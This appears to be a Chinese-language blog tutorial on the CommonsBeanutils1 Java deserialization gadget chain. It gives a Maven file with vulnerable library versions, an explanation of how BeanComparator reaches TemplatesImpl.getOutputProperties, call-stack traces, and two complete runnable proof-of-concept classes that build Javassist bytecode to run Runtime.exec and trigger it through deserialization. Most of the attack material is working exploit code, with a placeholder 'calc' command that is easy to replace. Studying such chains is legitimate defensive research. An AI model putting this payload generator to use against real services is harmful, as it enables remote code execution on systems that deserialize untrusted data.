pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>org.example</groupId>
<artifactId>CC3</artifactId>
<version>1.0-SNAPSHOT</version>

<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.4</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
</dependencies>
</project>

commons-beanutils是应用于javabean的工具

javaBean的定义

  • 有一个public的无参数构造函数
  • 属性可以通过get , set , is (可替代get,用在布尔属性上)方法或遵循特定命名规则的其他方法访问,也就是属性都有访问器和更改器
  • 可序列化

在commons-beanutils中提供了一个静态方法 PropertyUtils.getProperty,让使用者可以直接调用任 意JavaBeangetter方法

1
2
3
4
5
6
7
public static Object getProperty(final Object bean, final String name)
throws IllegalAccessException, InvocationTargetException,
NoSuchMethodException {

return (PropertyUtilsBean.getInstance().getProperty(bean, name));

}

比如一个类Person是个JavaBean,他有一个name属性,那么PropertyUtils.getProperty(new Person(),"name")就可以调用到它的getName()方法

抽象一下

1
PropertyUtils.getProperty(new Person(),"abc")

在我们的利用中,并不是说真的去调用Person类的abc属性的getter,而是调用getAbc(),不管这个类有没有abc属性

类似于CC2中的TransformingComparator,需要找一个可用的Comparator调用它的compare方法

发现commons-beanutils中的BeanComparator类的compare()方法调用了PropertyUtils.getProperty

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public int compare( final T o1, final T o2 ) {

if ( property == null ) {
// compare the actual objects
return internalCompare( o1, o2 );
}

try {
final Object value1 = PropertyUtils.getProperty( o1, property );
final Object value2 = PropertyUtils.getProperty( o2, property );
return internalCompare( value1, value2 );
}
catch ( final IllegalAccessException iae ) {
throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
}
catch ( final InvocationTargetException ite ) {
throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
}
catch ( final NoSuchMethodException nsme ) {
throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
}
}

再联想到之前TemplatesImpl的调用链,当时是这样的

image-20230330141344603

基本上的利用都是从newTransformer()开始,但是getOutputProperties同样也是public,也是以get开头

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

所以利用PropertyUtils.getProperty就可以调用到TemplatesImpl类的getOutputProperties

构造

首先就是TemplatesImpl对象

1
2
3
4
TemplatesImpl templates = new TemplatesImpl();
SerializeUtil.setFieldValue(templates,"_bytecodes",new byte[][]{classBytes});
SerializeUtil.setFieldValue(templates,"_name","feng");
SerializeUtil.setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

然后构造comparator和优先级PriorityQueue

1
2
3
BeanComparator beanComparator = new BeanComparator("outputProperties");

PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);

注意开头的o要小写

接下来如果add两次的话,需要提前修改property,也可以直接用反射

1
2
SerializeUtil.setFieldValue(priorityQueue,"queue",new Object[]{templates,templates});
SerializeUtil.setFieldValue(priorityQueue,"size",2);

然后序列化反序列化

1
2
byte[] bytes = SerializeUtil.serialize(priorityQueue);
SerializeUtil.unserialize(bytes);

poc1

1
2
3
4
5
6
7
8
9
10
11
12
13
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
siftDownUsingComparator()
BeanComparator.compare()
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.TransletClassLoader.defineClass()
Pwner*(Javassist-generated).<static init>
Runtime.exec()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package evil;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;

import java.util.PriorityQueue;

public class cb1 {
public static void main(String[] args) throws Exception{

ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
plu.setFieldValue(templates,"_bytecodes",new byte[][]{classBytes});
plu.setFieldValue(templates,"_name","aaa");
//plu.setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

BeanComparator beanComparator = new BeanComparator("outputProperties");

PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);


plu.setFieldValue(priorityQueue,"queue",new Object[]{templates,templates});
plu.setFieldValue(priorityQueue,"size",2);

byte[] bytes = plu.serialize(priorityQueue);
plu.unserialize(bytes);

}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package evil;

import javassist.ClassPool;
import javassist.CtClass;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class plu {
public static Object getFieldValue(Object obj, String fieldName) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
}

public static void unserialize(byte[] bytes) throws Exception{
try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bain)){
oin.readObject();
}
}

public static byte[] serialize(Object o) throws Exception{
try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout)){
oout.writeObject(o);
return baout.toByteArray();
}
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}

poc2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.add
PriorityQueue.offer
PriorityQueue.siftUp
siftUpUsingComparator()
BeanComparator.compare()
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.TransletClassLoader.defineClass()
Pwner*(Javassist-generated).<static init>
Runtime.exec()

类似于cc2,add两个1占位,然后反序列化改成templates,直接在add后触发了BeanComparator#compare

记得要需要利用反射改传入beanComparator的property的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public int compare( final T o1, final T o2 ) {

if ( property == null ) {
// compare the actual objects
return internalCompare( o1, o2 );
}

try {
final Object value1 = PropertyUtils.getProperty( o1, property );
final Object value2 = PropertyUtils.getProperty( o2, property );
return internalCompare( value1, value2 );
}
catch ( final IllegalAccessException iae ) {
throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
}
catch ( final InvocationTargetException ite ) {
throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
}
catch ( final NoSuchMethodException nsme ) {
throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package org.example.cb1;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class cb1 {
// 修改值的方法,简化代码
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}

public static void main(String[] args) throws Exception {

ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{classBytes});
setFieldValue(templates, "_name", "test");
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

BeanComparator beanComparator = new BeanComparator();
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add(1);
queue.add(1);

setFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});

ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("result.ser"));
out.writeObject(queue);
ObjectInputStream in = new ObjectInputStream(new FileInputStream("result.ser"));
in.readObject();
}
}

这里的_tfactory由于在TemplatesImpl#readObject中已经给赋值成这个了,

1
_tfactory = new TransformerFactoryImpl();

而且_tfactory本身是瞬态属性,无法反序列化,所以加不加都可以

1
private transient TransformerFactoryImpl _tfactory = null;